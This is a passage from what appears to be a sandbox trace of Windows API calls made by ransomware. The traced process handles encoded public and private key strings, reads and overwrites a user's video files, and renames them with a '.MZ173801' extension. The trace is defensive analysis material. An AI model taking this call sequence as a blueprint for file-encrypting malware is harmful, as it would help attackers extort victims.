JGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0165.361] GetCurrentThreadId () returned 0xab4 [0165.361] GetCurrentThreadId () returned 0xab4 [0165.361] GetCurrentThreadId () returned 0xab4 [0165.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.362] GetCurrentThreadId () returned 0xab4 [0165.362] GetCurrentThreadId () returned 0xab4 [0165.362] GetCurrentThreadId () returned 0xab4 [0165.362] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\cEUdy Q8gkA4LqZQF.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\ceudy q8gka4lqzqf.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.362] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0165.362] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.362] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x1581d [0165.362] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.363] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x1581d, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x1581d, lpOverlapped=0x0) returned 1 [0165.364] CloseHandle (hObject=0x2f8) returned 1 [0165.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\cEUdy Q8gkA4LqZQF.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\ceudy q8gka4lqzqf.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x24b6040*, nNumberOfBytesToWrite=0x1581d, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b6040*, lpNumberOfBytesWritten=0x19f758*=0x1581d, lpOverlapped=0x0) returned 1 [0165.371] CloseHandle (hObject=0x2f8) returned 1 [0165.575] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\cEUdy Q8gkA4LqZQF.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\ceudy q8gka4lqzqf.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\cEUdy Q8gkA4LqZQF.avi.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\ceudy q8gka4lqzqf.avi.mz173801")) returned 1 [0165.576] GetCurrentThreadId () returned 0xab4 [0165.576] GetCurrentThreadId () returned 0xab4 [0165.576] GetCurrentThreadId () returned 0xab4 [0165.576] GetCurrentThreadId () returned 0xab4 [0165.576] GetCurrentThreadId () returned 0xab4 [0165.576] GetCurrentThreadId () returned 0xab4 [0165.576] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbceefa80, ftCreationTime.dwHighDateTime=0x1d5ece2, ftLastAccessTime.dwLowDateTime=0xb85f3760, ftLastAccessTime.dwHighDateTime=0x1d5e5ca, ftLastWriteTime.dwLowDateTime=0xb85f3760, ftLastWriteTime.dwHighDateTime=0x1d5e5ca, nFileSizeHigh=0x0, nFileSizeLow=0x5a82, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="jjcfaQYy1u4aYRF.flv", cAlternateFileName="JJCFAQ~1.FLV")) returned 1 [0165.576] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.576] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\jjcfaQYy1u4aYRF.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\jjcfaqyy1u4ayrf.flv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbceefa80, ftCreationTime.dwHighDateTime=0x1d5ece2, ftLastAccessTime.dwLowDateTime=0xb85f3760, ftLastAccessTime.dwHighDateTime=0x1d5e5ca, ftLastWriteTime.dwLowDateTime=0xb85f3760, ftLastWriteTime.dwHighDateTime=0x1d5e5ca, nFileSizeHigh=0x0, nFileSizeLow=0x5a82)) returned 1 [0165.576] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\jjcfaQYy1u4aYRF.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\jjcfaqyy1u4ayrf.flv")) returned 0x20 [0165.576] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\jjcfaQYy1u4aYRF.flv", dwFileAttributes=0x80) returned 1 [0165.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0165.580] GetCurrentThreadId () returned 0xab4 [0165.580] GetCurrentThreadId () returned 0xab4 [0165.580] GetCurrentThreadId () returned 0xab4 [0165.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.581] GetCurrentThreadId () returned 0xab4 [0165.581] GetCurrentThreadId () returned 0xab4 [0165.581] GetCurrentThreadId () returned 0xab4 [0165.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\jjcfaQYy1u4aYRF.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\jjcfaqyy1u4ayrf.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 